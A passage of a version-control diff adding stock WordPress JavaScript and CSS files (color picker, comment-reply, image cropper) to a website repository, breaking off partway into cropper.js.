+	cp_contents += "<table style='border: none;' cellspacing=0 cellpadding=0>";
+	var use_highlight = (document.getElementById || document.all)?true:false;
+	for (var i=0; i<total; i++) {
+		if ((i % width) == 0) { cp_contents += "<tr>"; }
+		if (use_highlight) { var mo = 'onMouseOver="'+windowRef+'ColorPicker_highlightColor(\''+colors[i]+'\',window.document)"'; }
+		else { mo = ""; }
+		cp_contents += '<td style="background-color: '+colors[i]+';"><a href="javascript:void()" onclick="'+windowRef+'ColorPicker_pickColor(\''+colors[i]+'\','+windowRef+'window.popupWindowObjects['+cp.index+']);return false;" '+mo+'>&nbsp;</a></td>';
+		if ( ((i+1)>=total) || (((i+1) % width) == 0)) { 
+			cp_contents += "</tr>";
+			}
+		}
+	// If the browser supports dynamically changing TD cells, add the fancy stuff
+	if (document.getElementById) {
+		var width1 = Math.floor(width/2);
+		var width2 = width = width1;
+		cp_contents += "<tr><td colspan='"+width1+"' style='background-color: #FFF;' ID='colorPickerSelectedColor'>&nbsp;</td><td colspan='"+width2+"' style='text-align: center;' id='colorPickerSelectedColorValue'>#FFFFFF</td></tr>";
+		}
+	cp_contents += "</table>";
+	if (windowMode) {
+		cp_contents += "</span></body></html>";
+		}
+	// end populate code
+
+	// Write the contents to the popup object
+	cp.populate(cp_contents+"\n");
+	// Move the table down a bit so you can see it
+	cp.offsetY = 25;
+	cp.autoHide();
+	return cp;
+	}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/colorpicker.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/colorpicker.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/colorpicker.js	(revision 44)
@@ -0,0 +1,1 @@
+function getAnchorPosition(b){var e=false;var k=new Object();var j=0,g=0;var d=false,f=false,h=false;if(document.getElementById){d=true}else{if(document.all){f=true}else{if(document.layers){h=true}}}if(d&&document.all){j=AnchorPosition_getPageOffsetLeft(document.all[b]);g=AnchorPosition_getPageOffsetTop(document.all[b])}else{if(d){var a=document.getElementById(b);j=AnchorPosition_getPageOffsetLeft(a);g=AnchorPosition_getPageOffsetTop(a)}else{if(f){j=AnchorPosition_getPageOffsetLeft(document.all[b]);g=AnchorPosition_getPageOffsetTop(document.all[b])}else{if(h){var l=0;for(var c=0;c<document.anchors.length;c++){if(document.anchors[c].name==b){l=1;break}}if(l==0){k.x=0;k.y=0;return k}j=document.anchors[c].x;g=document.anchors[c].y}else{k.x=0;k.y=0;return k}}}}k.x=j;k.y=g;return k}function getAnchorWindowPosition(b){var c=getAnchorPosition(b);var a=0;var d=0;if(document.getElementById){if(isNaN(window.screenX)){a=c.x-document.body.scrollLeft+window.screenLeft;d=c.y-document.body.scrollTop+window.screenTop}else{a=c.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;d=c.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset}}else{if(document.all){a=c.x-document.body.scrollLeft+window.screenLeft;d=c.y-document.body.scrollTop+window.screenTop}else{if(document.layers){a=c.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;d=c.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset}}}c.x=a;c.y=d;return c}function AnchorPosition_getPageOffsetLeft(b){var a=b.offsetLeft;while((b=b.offsetParent)!=null){a+=b.offsetLeft}return a}function AnchorPosition_getWindowOffsetLeft(a){return AnchorPosition_getPageOffsetLeft(a)-document.body.scrollLeft}function AnchorPosition_getPageOffsetTop(a){var b=a.offsetTop;while((a=a.offsetParent)!=null){b+=a.offsetTop}return b}function AnchorPosition_getWindowOffsetTop(a){return AnchorPosition_getPageOffsetTop(a)-document.body.scrollTop}function PopupWindow_getXYPosition(a){var b;if(this.type=="WINDOW"){b=getAnchorWindowPosition(a)}else{b=getAnchorPosition(a)}this.x=b.x;this.y=b.y}function PopupWindow_setSize(b,a){this.width=b;this.height=a}function PopupWindow_populate(a){this.contents=a;this.populated=false}function PopupWindow_setUrl(a){this.url=a}function PopupWindow_setWindowProperties(a){this.windowProperties=a}function PopupWindow_refresh(){if(this.divName!=null){if(this.use_gebi){document.getElementById(this.divName).innerHTML=this.contents}else{if(this.use_css){document.all[this.divName].innerHTML=this.contents}else{if(this.use_layers){var a=document.layers[this.divName];a.document.open();a.document.writeln(this.contents);a.document.close()}}}}else{if(this.popupWindow!=null&&!this.popupWindow.closed){if(this.url!=""){this.popupWindow.location.href=this.url}else{this.popupWindow.document.open();this.popupWindow.document.writeln(this.contents);this.popupWindow.document.close()}this.popupWindow.focus()}}}function PopupWindow_showPopup(a){this.getXYPosition(a);this.x+=this.offsetX;this.y+=this.offsetY;if(!this.populated&&(this.contents!="")){this.populated=true;this.refresh()}if(this.divName!=null){if(this.use_gebi){document.getElementById(this.divName).style.left=this.x+"px";document.getElementById(this.divName).style.top=this.y;document.getElementById(this.divName).style.visibility="visible"}else{if(this.use_css){document.all[this.divName].style.left=this.x;document.all[this.divName].style.top=this.y;document.all[this.divName].style.visibility="visible"}else{if(this.use_layers){document.layers[this.divName].left=this.x;document.layers[this.divName].top=this.y;document.layers[this.divName].visibility="visible"}}}}else{if(this.popupWindow==null||this.popupWindow.closed){if(this.x<0){this.x=0}if(this.y<0){this.y=0}if(screen&&screen.availHeight){if((this.y+this.height)>screen.availHeight){this.y=screen.availHeight-this.height}}if(screen&&screen.availWidth){if((this.x+this.width)>screen.availWidth){this.x=screen.availWidth-this.width}}var b=window.opera||(document.layers&&!navigator.mimeTypes["*"])||navigator.vendor=="KDE"||(document.childNodes&&!document.all&&!navigator.taintEnabled);this.popupWindow=window.open(b?"":"about:blank","window_"+a,this.windowProperties+",width="+this.width+",height="+this.height+",screenX="+this.x+",left="+this.x+",screenY="+this.y+",top="+this.y+"")}this.refresh()}}function PopupWindow_hidePopup(){if(this.divName!=null){if(this.use_gebi){document.getElementById(this.divName).style.visibility="hidden"}else{if(this.use_css){document.all[this.divName].style.visibility="hidden"}else{if(this.use_layers){document.layers[this.divName].visibility="hidden"}}}}else{if(this.popupWindow&&!this.popupWindow.closed){this.popupWindow.close();this.popupWindow=null}}}function PopupWindow_isClicked(c){if(this.divName!=null){if(this.use_layers){var d=c.pageX;var b=c.pageY;var a=document.layers[this.divName];if((d>a.left)&&(d<a.left+a.clip.width)&&(b>a.top)&&(b<a.top+a.clip.height)){return true}else{return false}}else{if(document.all){var a=window.event.srcElement;while(a.parentElement!=null){if(a.id==this.divName){return true}a=a.parentElement}return false}else{if(this.use_gebi&&c){var a=c.originalTarget;while(a.parentNode!=null){if(a.id==this.divName){return true}a=a.parentNode}return false}}}return false}return false}function PopupWindow_hideIfNotClicked(a){if(this.autoHideEnabled&&!this.isClicked(a)){this.hidePopup()}}function PopupWindow_autoHide(){this.autoHideEnabled=true}function PopupWindow_hidePopupWindows(c){for(var a=0;a<popupWindowObjects.length;a++){if(popupWindowObjects[a]!=null){var b=popupWindowObjects[a];b.hideIfNotClicked(c)}}}function PopupWindow_attachListener(){if(document.layers){document.captureEvents(Event.MOUSEUP)}window.popupWindowOldEventListener=document.onmouseup;if(window.popupWindowOldEventListener!=null){document.onmouseup=new Function("window.popupWindowOldEventListener(); PopupWindow_hidePopupWindows();")}else{document.onmouseup=PopupWindow_hidePopupWindows}}function PopupWindow(){if(!window.popupWindowIndex){window.popupWindowIndex=0}if(!window.popupWindowObjects){window.popupWindowObjects=new Array()}if(!window.listenerAttached){window.listenerAttached=true;PopupWindow_attachListener()}this.index=popupWindowIndex++;popupWindowObjects[this.index]=this;this.divName=null;this.popupWindow=null;this.width=0;this.height=0;this.populated=false;this.visible=false;this.autoHideEnabled=false;this.contents="";this.url="";this.windowProperties="toolbar=no,location=no,status=no,menubar=no,scrollbars=auto,resizable,alwaysRaised,dependent,titlebar=no";if(arguments.length>0){this.type="DIV";this.divName=arguments[0]}else{this.type="WINDOW"}this.use_gebi=false;this.use_css=false;this.use_layers=false;if(document.getElementById){this.use_gebi=true}else{if(document.all){this.use_css=true}else{if(document.layers){this.use_layers=true}else{this.type="WINDOW"}}}this.offsetX=0;this.offsetY=0;this.getXYPosition=PopupWindow_getXYPosition;this.populate=PopupWindow_populate;this.setUrl=PopupWindow_setUrl;this.setWindowProperties=PopupWindow_setWindowProperties;this.refresh=PopupWindow_refresh;this.showPopup=PopupWindow_showPopup;this.hidePopup=PopupWindow_hidePopup;this.setSize=PopupWindow_setSize;this.isClicked=PopupWindow_isClicked;this.autoHide=PopupWindow_autoHide;this.hideIfNotClicked=PopupWindow_hideIfNotClicked}ColorPicker_targetInput=null;function ColorPicker_writeDiv(){document.writeln('<DIV ID="colorPickerDiv" STYLE="position:absolute;visibility:hidden;"> </DIV>')}function ColorPicker_show(a){this.showPopup(a)}function ColorPicker_pickColor(a,b){b.hidePopup();pickColor(a)}function pickColor(a){if(ColorPicker_targetInput==null){alert("Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickColor' function to handle the picked color!");return}ColorPicker_targetInput.value=a}function ColorPicker_select(b,a){if(b.type!="text"&&b.type!="hidden"&&b.type!="textarea"){alert("colorpicker.select: Input object passed is not a valid form input object");window.ColorPicker_targetInput=null;return}window.ColorPicker_targetInput=b;this.show(a)}function ColorPicker_highlightColor(e){var a=(arguments.length>1)?arguments[1]:window.document;var b=a.getElementById("colorPickerSelectedColor");b.style.backgroundColor=e;b=a.getElementById("colorPickerSelectedColorValue");b.innerHTML=e}function ColorPicker(){var g=false;if(arguments.length==0){var e="colorPickerDiv"}else{if(arguments[0]=="window"){var e="";g=true}else{var e=arguments[0]}}if(e!=""){var m=new PopupWindow(e)}else{var m=new PopupWindow();m.setSize(225,250)}m.currentValue="#FFFFFF";m.writeDiv=ColorPicker_writeDiv;m.highlightColor=ColorPicker_highlightColor;m.show=ColorPicker_show;m.select=ColorPicker_select;var a=new Array("#4180B6","#69AEE7","#000000","#000033","#000066","#000099","#0000CC","#0000FF","#330000","#330033","#330066","#330099","#3300CC","#3300FF","#660000","#660033","#660066","#660099","#6600CC","#6600FF","#990000","#990033","#990066","#990099","#9900CC","#9900FF","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#FF0000","#FF0033","#FF0066","#FF0099","#FF00CC","#FF00FF","#7FFFFF","#7FFFFF","#7FF7F7","#7FEFEF","#7FE7E7","#7FDFDF","#7FD7D7","#7FCFCF","#7FC7C7","#7FBFBF","#7FB7B7","#7FAFAF","#7FA7A7","#7F9F9F","#7F9797","#7F8F8F","#7F8787","#7F7F7F","#7F7777","#7F6F6F","#7F6767","#7F5F5F","#7F5757","#7F4F4F","#7F4747","#7F3F3F","#7F3737","#7F2F2F","#7F2727","#7F1F1F","#7F1717","#7F0F0F","#7F0707","#7F0000","#4180B6","#69AEE7","#003300","#003333","#003366","#003399","#0033CC","#0033FF","#333300","#333333","#333366","#333399","#3333CC","#3333FF","#663300","#663333","#663366","#663399","#6633CC","#6633FF","#993300","#993333","#993366","#993399","#9933CC","#9933FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#FF3300","#FF3333","#FF3366","#FF3399","#FF33CC","#FF33FF","#FF7FFF","#FF7FFF","#F77FF7","#EF7FEF","#E77FE7","#DF7FDF","#D77FD7","#CF7FCF","#C77FC7","#BF7FBF","#B77FB7","#AF7FAF","#A77FA7","#9F7F9F","#977F97","#8F7F8F","#877F87","#7F7F7F","#777F77","#6F7F6F","#677F67","#5F7F5F","#577F57","#4F7F4F","#477F47","#3F7F3F","#377F37","#2F7F2F","#277F27","#1F7F1F","#177F17","#0F7F0F","#077F07","#007F00","#4180B6","#69AEE7","#006600","#006633","#006666","#006699","#0066CC","#0066FF","#336600","#336633","#336666","#336699","#3366CC","#3366FF","#666600","#666633","#666666","#666699","#6666CC","#6666FF","#996600","#996633","#996666","#996699","#9966CC","#9966FF","#CC6600","#CC6633","#CC6666","#CC6699","#CC66CC","#CC66FF","#FF6600","#FF6633","#FF6666","#FF6699","#FF66CC","#FF66FF","#FFFF7F","#FFFF7F","#F7F77F","#EFEF7F","#E7E77F","#DFDF7F","#D7D77F","#CFCF7F","#C7C77F","#BFBF7F","#B7B77F","#AFAF7F","#A7A77F","#9F9F7F","#97977F","#8F8F7F","#87877F","#7F7F7F","#77777F","#6F6F7F","#67677F","#5F5F7F","#57577F","#4F4F7F","#47477F","#3F3F7F","#37377F","#2F2F7F","#27277F","#1F1F7F","#17177F","#0F0F7F","#07077F","#00007F","#4180B6","#69AEE7","#009900","#009933","#009966","#009999","#0099CC","#0099FF","#339900","#339933","#339966","#339999","#3399CC","#3399FF","#669900","#669933","#669966","#669999","#6699CC","#6699FF","#999900","#999933","#999966","#999999","#9999CC","#9999FF","#CC9900","#CC9933","#CC9966","#CC9999","#CC99CC","#CC99FF","#FF9900","#FF9933","#FF9966","#FF9999","#FF99CC","#FF99FF","#3FFFFF","#3FFFFF","#3FF7F7","#3FEFEF","#3FE7E7","#3FDFDF","#3FD7D7","#3FCFCF","#3FC7C7","#3FBFBF","#3FB7B7","#3FAFAF","#3FA7A7","#3F9F9F","#3F9797","#3F8F8F","#3F8787","#3F7F7F","#3F7777","#3F6F6F","#3F6767","#3F5F5F","#3F5757","#3F4F4F","#3F4747","#3F3F3F","#3F3737","#3F2F2F","#3F2727","#3F1F1F","#3F1717","#3F0F0F","#3F0707","#3F0000","#4180B6","#69AEE7","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#33CC00","#33CC33","#33CC66","#33CC99","#33CCCC","#33CCFF","#66CC00","#66CC33","#66CC66","#66CC99","#66CCCC","#66CCFF","#99CC00","#99CC33","#99CC66","#99CC99","#99CCCC","#99CCFF","#CCCC00","#CCCC33","#CCCC66","#CCCC99","#CCCCCC","#CCCCFF","#FFCC00","#FFCC33","#FFCC66","#FFCC99","#FFCCCC","#FFCCFF","#FF3FFF","#FF3FFF","#F73FF7","#EF3FEF","#E73FE7","#DF3FDF","#D73FD7","#CF3FCF","#C73FC7","#BF3FBF","#B73FB7","#AF3FAF","#A73FA7","#9F3F9F","#973F97","#8F3F8F","#873F87","#7F3F7F","#773F77","#6F3F6F","#673F67","#5F3F5F","#573F57","#4F3F4F","#473F47","#3F3F3F","#373F37","#2F3F2F","#273F27","#1F3F1F","#173F17","#0F3F0F","#073F07","#003F00","#4180B6","#69AEE7","#00FF00","#00FF33","#00FF66","#00FF99","#00FFCC","#00FFFF","#33FF00","#33FF33","#33FF66","#33FF99","#33FFCC","#33FFFF","#66FF00","#66FF33","#66FF66","#66FF99","#66FFCC","#66FFFF","#99FF00","#99FF33","#99FF66","#99FF99","#99FFCC","#99FFFF","#CCFF00","#CCFF33","#CCFF66","#CCFF99","#CCFFCC","#CCFFFF","#FFFF00","#FFFF33","#FFFF66","#FFFF99","#FFFFCC","#FFFFFF","#FFFF3F","#FFFF3F","#F7F73F","#EFEF3F","#E7E73F","#DFDF3F","#D7D73F","#CFCF3F","#C7C73F","#BFBF3F","#B7B73F","#AFAF3F","#A7A73F","#9F9F3F","#97973F","#8F8F3F","#87873F","#7F7F3F","#77773F","#6F6F3F","#67673F","#5F5F3F","#57573F","#4F4F3F","#47473F","#3F3F3F","#37373F","#2F2F3F","#27273F","#1F1F3F","#17173F","#0F0F3F","#07073F","#00003F","#4180B6","#69AEE7","#FFFFFF","#FFEEEE","#FFDDDD","#FFCCCC","#FFBBBB","#FFAAAA","#FF9999","#FF8888","#FF7777","#FF6666","#FF5555","#FF4444","#FF3333","#FF2222","#FF1111","#FF0000","#FF0000","#FF0000","#FF0000","#EE0000","#DD0000","#CC0000","#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000","#000000","#000000","#000000","#001111","#002222","#003333","#004444","#005555","#006666","#007777","#008888","#009999","#00AAAA","#00BBBB","#00CCCC","#00DDDD","#00EEEE","#00FFFF","#00FFFF","#00FFFF","#00FFFF","#11FFFF","#22FFFF","#33FFFF","#44FFFF","#55FFFF","#66FFFF","#77FFFF","#88FFFF","#99FFFF","#AAFFFF","#BBFFFF","#CCFFFF","#DDFFFF","#EEFFFF","#FFFFFF","#4180B6","#69AEE7","#FFFFFF","#EEFFEE","#DDFFDD","#CCFFCC","#BBFFBB","#AAFFAA","#99FF99","#88FF88","#77FF77","#66FF66","#55FF55","#44FF44","#33FF33","#22FF22","#11FF11","#00FF00","#00FF00","#00FF00","#00FF00","#00EE00","#00DD00","#00CC00","#00BB00","#00AA00","#009900","#008800","#007700","#006600","#005500","#004400","#003300","#002200","#001100","#000000","#000000","#000000","#000000","#110011","#220022","#330033","#440044","#550055","#660066","#770077","#880088","#990099","#AA00AA","#BB00BB","#CC00CC","#DD00DD","#EE00EE","#FF00FF","#FF00FF","#FF00FF","#FF00FF","#FF11FF","#FF22FF","#FF33FF","#FF44FF","#FF55FF","#FF66FF","#FF77FF","#FF88FF","#FF99FF","#FFAAFF","#FFBBFF","#FFCCFF","#FFDDFF","#FFEEFF","#FFFFFF","#4180B6","#69AEE7","#FFFFFF","#EEEEFF","#DDDDFF","#CCCCFF","#BBBBFF","#AAAAFF","#9999FF","#8888FF","#7777FF","#6666FF","#5555FF","#4444FF","#3333FF","#2222FF","#1111FF","#0000FF","#0000FF","#0000FF","#0000FF","#0000EE","#0000DD","#0000CC","#0000BB","#0000AA","#000099","#000088","#000077","#000066","#000055","#000044","#000033","#000022","#000011","#000000","#000000","#000000","#000000","#111100","#222200","#333300","#444400","#555500","#666600","#777700","#888800","#999900","#AAAA00","#BBBB00","#CCCC00","#DDDD00","#EEEE00","#FFFF00","#FFFF00","#FFFF00","#FFFF00","#FFFF11","#FFFF22","#FFFF33","#FFFF44","#FFFF55","#FFFF66","#FFFF77","#FFFF88","#FFFF99","#FFFFAA","#FFFFBB","#FFFFCC","#FFFFDD","#FFFFEE","#FFFFFF","#4180B6","#69AEE7","#FFFFFF","#FFFFFF","#FBFBFB","#F7F7F7","#F3F3F3","#EFEFEF","#EBEBEB","#E7E7E7","#E3E3E3","#DFDFDF","#DBDBDB","#D7D7D7","#D3D3D3","#CFCFCF","#CBCBCB","#C7C7C7","#C3C3C3","#BFBFBF","#BBBBBB","#B7B7B7","#B3B3B3","#AFAFAF","#ABABAB","#A7A7A7","#A3A3A3","#9F9F9F","#9B9B9B","#979797","#939393","#8F8F8F","#8B8B8B","#878787","#838383","#7F7F7F","#7B7B7B","#777777","#737373","#6F6F6F","#6B6B6B","#676767","#636363","#5F5F5F","#5B5B5B","#575757","#535353","#4F4F4F","#4B4B4B","#474747","#434343","#3F3F3F","#3B3B3B","#373737","#333333","#2F2F2F","#2B2B2B","#272727","#232323","#1F1F1F","#1B1B1B","#171717","#131313","#0F0F0F","#0B0B0B","#070707","#030303","#000000","#000000","#000000","#000000","#000000");var n=a.length;var c=72;var k="";var j=(g)?"window.opener.":"";if(g){k+="<html><head><title>Select Color</title></head>";k+="<body marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><span style='text-align: center;'>"}k+="<table style='border: none;' cellspacing=0 cellpadding=0>";var l=(document.getElementById||document.all)?true:false;for(var h=0;h<n;h++){if((h%c)==0){k+="<tr>"}if(l){var f='onMouseOver="'+j+"ColorPicker_highlightColor('"+a[h]+"',window.document)\""}else{f=""}k+='<td style="background-color: '+a[h]+';"><a href="javascript:void()" onclick="'+j+"ColorPicker_pickColor('"+a[h]+"',"+j+"window.popupWindowObjects["+m.index+']);return false;" '+f+">&nbsp;</a></td>";if(((h+1)>=n)||(((h+1)%c)==0)){k+="</tr>"}}if(document.getElementById){var d=Math.floor(c/2);var b=c=d;k+="<tr><td colspan='"+d+"' style='background-color: #FFF;' ID='colorPickerSelectedColor'>&nbsp;</td><td colspan='"+b+"' style='text-align: center;' id='colorPickerSelectedColorValue'>#FFFFFF</td></tr>"}k+="</table>";if(g){k+="</span></body></html>"}m.populate(k+"\n");m.offsetY=25;m.autoHide();return m};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/comment-reply.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/comment-reply.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/comment-reply.dev.js	(revision 44)
@@ -0,0 +1,48 @@
+
+addComment = {
+	moveForm : function(commId, parentId, respondId, postId) {
+		var t = this, div, comm = t.I(commId), respond = t.I(respondId), cancel = t.I('cancel-comment-reply-link'), parent = t.I('comment_parent'), post = t.I('comment_post_ID');
+
+		if ( ! comm || ! respond || ! cancel || ! parent )
+			return;
+
+		t.respondId = respondId;
+		postId = postId || false;
+
+		if ( ! t.I('wp-temp-form-div') ) {
+			div = document.createElement('div');
+			div.id = 'wp-temp-form-div';
+			div.style.display = 'none';
+			respond.parentNode.insertBefore(div, respond);
+		}
+
+		comm.parentNode.insertBefore(respond, comm.nextSibling);
+		if ( post && postId )
+			post.value = postId;
+		parent.value = parentId;
+		cancel.style.display = '';
+
+		cancel.onclick = function() {
+			var t = addComment, temp = t.I('wp-temp-form-div'), respond = t.I(t.respondId);
+
+			if ( ! temp || ! respond )
+				return;
+
+			t.I('comment_parent').value = '0';
+			temp.parentNode.insertBefore(respond, temp);
+			temp.parentNode.removeChild(temp);
+			this.style.display = 'none';
+			this.onclick = null;
+			return false;
+		}
+
+		try { t.I('comment').focus(); }
+		catch(e) {}
+
+		return false;
+	},
+
+	I : function(e) {
+		return document.getElementById(e);
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/comment-reply.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/comment-reply.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/comment-reply.js	(revision 44)
@@ -0,0 +1,1 @@
+addComment={moveForm:function(d,f,i,c){var m=this,a,h=m.I(d),b=m.I(i),l=m.I("cancel-comment-reply-link"),j=m.I("comment_parent"),k=m.I("comment_post_ID");if(!h||!b||!l||!j){return}m.respondId=i;c=c||false;if(!m.I("wp-temp-form-div")){a=document.createElement("div");a.id="wp-temp-form-div";a.style.display="none";b.parentNode.insertBefore(a,b)}h.parentNode.insertBefore(b,h.nextSibling);if(k&&c){k.value=c}j.value=f;l.style.display="";l.onclick=function(){var n=addComment,e=n.I("wp-temp-form-div"),o=n.I(n.respondId);if(!e||!o){return}n.I("comment_parent").value="0";e.parentNode.insertBefore(o,e);e.parentNode.removeChild(e);this.style.display="none";this.onclick=null;return false};try{m.I("comment").focus()}catch(g){}return false},I:function(a){return document.getElementById(a)}};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/crop/cropper.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/crop/cropper.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/crop/cropper.css	(revision 44)
@@ -0,0 +1,165 @@
+.imgCrop_wrap {
+	/* width: 500px;   @done_in_js */
+	/* height: 375px;  @done_in_js */
+	position: relative;
+	cursor: crosshair;
+}
+
+/* an extra classname is applied for Opera < 9.0 to fix it's lack of opacity support */
+.imgCrop_wrap.opera8 .imgCrop_overlay,
+.imgCrop_wrap.opera8 .imgCrop_clickArea { 
+	background-color: transparent;
+}
+
+/* fix for IE displaying all boxes at line-height by default, although they are still 1 pixel high until we combine them with the pointless span */
+.imgCrop_wrap,
+.imgCrop_wrap * {
+	font-size: 0;
+}
+
+.imgCrop_overlay {
+	background-color: #000;
+	opacity: 0.5;
+	filter:alpha(opacity=50);
+	position: absolute;
+	width: 100%;
+	height: 100%;
+}
+
+.imgCrop_selArea {
+	position: absolute;
+	/* @done_in_js 
+	top: 20px;
+	left: 20px;
+	width: 200px;
+	height: 200px;
+	background: transparent url(castle.jpg) no-repeat  -210px -110px;
+	*/
+	cursor: move;
+	z-index: 2;
+}
+
+/* clickArea is all a fix for IE 5.5 & 6 to allow the user to click on the given area */
+.imgCrop_clickArea {
+	width: 100%;
+	height: 100%;
+	background-color: #FFF;
+	opacity: 0.01;
+	filter:alpha(opacity=01);
+}
+
+.imgCrop_marqueeHoriz {
+	position: absolute;
+	width: 100%;
+	height: 1px;
+	background: transparent url(marqueeHoriz.gif) repeat-x 0 0;
+	z-index: 3;
+}
+
+.imgCrop_marqueeVert {
+	position: absolute;
+	height: 100%;
+	width: 1px;
+	background: transparent url(marqueeVert.gif) repeat-y 0 0;
+	z-index: 3;
+}
+
+.imgCrop_marqueeNorth { top: 0; left: 0; }
+.imgCrop_marqueeEast  { top: 0; right: 0; }
+.imgCrop_marqueeSouth { bottom: 0px; left: 0; }
+.imgCrop_marqueeWest  { top: 0; left: 0; }
+
+
+.imgCrop_handle {
+	position: absolute;
+	border: 1px solid #333;
+	width: 6px;
+	height: 6px;
+	background: #FFF;
+	opacity: 0.5;
+	filter:alpha(opacity=50);
+	z-index: 4;
+}
+
+/* fix IE 5 box model */
+* html .imgCrop_handle {
+	width: 8px;
+	height: 8px;
+	wid\th: 6px;
+	hei\ght: 6px;
+}
+
+.imgCrop_handleN {
+	top: -3px;
+	left: 0;
+	/* margin-left: 49%;    @done_in_js */
+	cursor: n-resize;
+}
+
+.imgCrop_handleNE { 
+	top: -3px;
+	right: -3px;
+	cursor: ne-resize;
+}
+
+.imgCrop_handleE {
+	top: 0;
+	right: -3px;
+	/* margin-top: 49%;    @done_in_js */
+	cursor: e-resize;
+}
+
+.imgCrop_handleSE {
+	right: -3px;
+	bottom: -3px;
+	cursor: se-resize;
+}
+
+.imgCrop_handleS {
+	right: 0;
+	bottom: -3px;
+	/* margin-right: 49%; @done_in_js */
+	cursor: s-resize;
+}
+
+.imgCrop_handleSW {
+	left: -3px;
+	bottom: -3px;
+	cursor: sw-resize;
+}
+
+.imgCrop_handleW {
+	top: 0;
+	left: -3px;
+	/* margin-top: 49%;  @done_in_js */
+	cursor: e-resize;
+}
+
+.imgCrop_handleNW {
+	top: -3px;
+	left: -3px;
+	cursor: nw-resize;
+}
+
+/**
+ * Create an area to click & drag around on as the default browser behaviour is to let you drag the image 
+ */
+.imgCrop_dragArea {
+	width: 100%;
+	height: 100%;
+	z-index: 200;
+	position: absolute;
+	top: 0;
+	left: 0;
+}
+
+.imgCrop_previewWrap {
+	/* width: 200px;  @done_in_js */
+	/* height: 200px; @done_in_js */
+	overflow: hidden;
+	position: relative;
+}
+
+.imgCrop_previewWrap img {
+	position: absolute;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/crop/cropper.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/crop/cropper.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/crop/cropper.js	(revision 44)
@@ -0,0 +1,516 @@
+/**
+ * Copyright (c) 2006, David Spurr (http://www.defusion.org.uk/)
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ *     * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ *     * Neither the name of the David Spurr nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * http://www.opensource.org/licenses/bsd-license.php
+ *
+ * See scriptaculous.js for full scriptaculous licence
+ */
+
+var CropDraggable=Class.create();
+Object.extend(Object.extend(CropDraggable.prototype,Draggable.prototype),{initialize:function(_1){
+this.options=Object.extend({drawMethod:function(){
+}},arguments[1]||{});
+this.element=$(_1);
+this.handle=this.element;
+this.delta=this.currentDelta();
+this.dragging=false;
+this.eventMouseDown=this.initDrag.bindAsEventListener(this);
+Event.observe(this.handle,"mousedown",this.eventMouseDown);
+Draggables.register(this);
+},draw:function(_2){
+var _3=Position.cumulativeOffset(this.element);
+var d=this.currentDelta();
+_3[0]-=d[0];
+_3[1]-=d[1];
+var p=[0,1].map(function(i){
+return (_2[i]-_3[i]-this.offset[i]);
+}.bind(this));
+this.options.drawMethod(p);
+}});
+var Cropper={};
+Cropper.Img=Class.create();
+Cropper.Img.prototype={initialize:function(_7,_8){
+this.options=Object.extend({ratioDim:{x:0,y:0},minWidth:0,minHeight:0,displayOnInit:false,onEndCrop:Prototype.emptyFunction,captureKeys:true},_8||{});
+if(this.options.minWidth>0&&this.options.minHeight>0){
+this.options.ratioDim.x=this.options.minWidth;
+this.options.ratioDim.y=this.options.minHeight;
+}
+this.img=$(_7);
+this.clickCoords={x:0,y:0};
+this.dragging=false;
+this.resizing=false;
+this.isWebKit=/Konqueror|Safari|KHTML/.test(navigator.userAgent);
+this.isIE=/MSIE/.test(navigator.userAgent);
+this.isOpera8=/Opera\s[1-8]/.test(navigator.userAgent);
+this.ratioX=0;
+this.ratioY=0;
+this.attached=false;
+$A(document.getElementsByTagName("script")).each(function(s){
+if(s.src.match(/cropper\.js/)){
